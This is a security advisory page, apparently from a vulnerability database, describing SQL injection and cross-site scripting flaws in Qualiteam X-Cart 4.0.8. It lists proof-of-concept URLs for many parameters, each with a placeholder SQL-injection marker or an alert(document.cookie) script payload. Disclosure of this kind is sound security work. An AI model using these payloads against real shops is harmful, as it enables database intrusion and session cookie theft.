exploits , vulnerabilities , articles , Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities

Title	Qualiteam X-Cart SQL Injection and Cross-Site Scripting Vulnerabilities
Published	2005-05-30-12:00AM
Updated	2005-06-17-02:25PM
Class	Input Validation Error
CVE	CVE-MAP-NOMATCH
Remote	Yes
Local	No
Credit	Discovery is credited to CENSORED <censored@mail.ru>.
Vulnerable	Qualiteam XCart 4.0.8
Not Vulnerable
Code	An exploit is not required. The following proof of concept URIs are available: SQL Injection: http://www.example.com/home.php?cat='[SQL-inj] http://www.example.com/home.php?printable='[SQL-inj] http://www.example.com/product.php?productid='[SQL-inj] http://www.example.com/product.php?mode='[SQL-inj] http://www.example.com/error_message.php?access_denied&id='[SQL-inj] http://www.example.com/help.php?section='[SQL-inj] http://www.example.com/orders.php?mode='[SQL-inj] http://www.example.com/register.php?mode='[SQL-inj] http://www.example.com/search.php?mode='[SQL-inj] http://www.example.com/giftcert.php?gcid='[SQL-inj] http://www.example.com/giftcert.php?gcindex='[SQL-inj] Cross-site Scripting: http://www.example.com/home.php?cat='><script>alert(document.cookie)</script> http://www.example.com/home.php?printable='><script>alert(document.cookie)</script> http://www.example.com/product.php?productid='><script>alert(document.cookie)</script> http://www.example.com/product.php?mode='><script>alert(document.cookie)</script> http://www.example.com/error_message.php?access_denied&id='><script>alert(document.cookie)</script> http://www.example.com/help.php?section='><script>alert(document.cookie)</script> http://www.example.com/orders.php?mode='><script>alert(document.cookie)</script> http://www.example.com/register.php?mode='><script>alert(document.cookie)</script> http://www.example.com/search.php?mode='><script>alert(document.cookie)</script> http://www.example.com/giftcert.php?gcid='><script>alert(document.cookie)</script> http://www.example.com/giftcert.php?gcindex='><script>alert(document.cookie)</script>
TXT

Vulnerabilities - newest 10 RSS | More

2009-12-18 Mozilla Firefox and SeaMonkey NTLM Credential Reflection Authentication Bypass Vulnerability
2009-12-18 Mozilla Firefox CVE-2009-3982 JavaScript Engine Multiple Remote Memory Corruption Vulnerabilities
2009-12-17 Zen Cart Insecure File and Programs Information Disclosure and Database Deletion Vulnerability
2009-12-17 Winamp Module Decoder Plugin Multiple Buffer Overflow Vulnerabilities
2009-12-17 Winamp JPEG and PNG Multiple Integer Overflow Vulnerabilities
2009-12-17 HP OpenView Storage Data Protector Stack Buffer Overflow Vulnerability
2009-12-17 IBM WebSphere Application Server Feature Pack for CEA Spoofing Vulnerability
2009-12-17 Digital Scribe Cross Site Scripting and SQL Injection Vulnerabilities
2009-12-17 WP-Forum WordPress Plugin Multiple SQL Injection Vulnerabilities
2009-12-17 Quick Heal AntiVirus Insecure Program File Permissions Local Privilege Escalation Vulnerability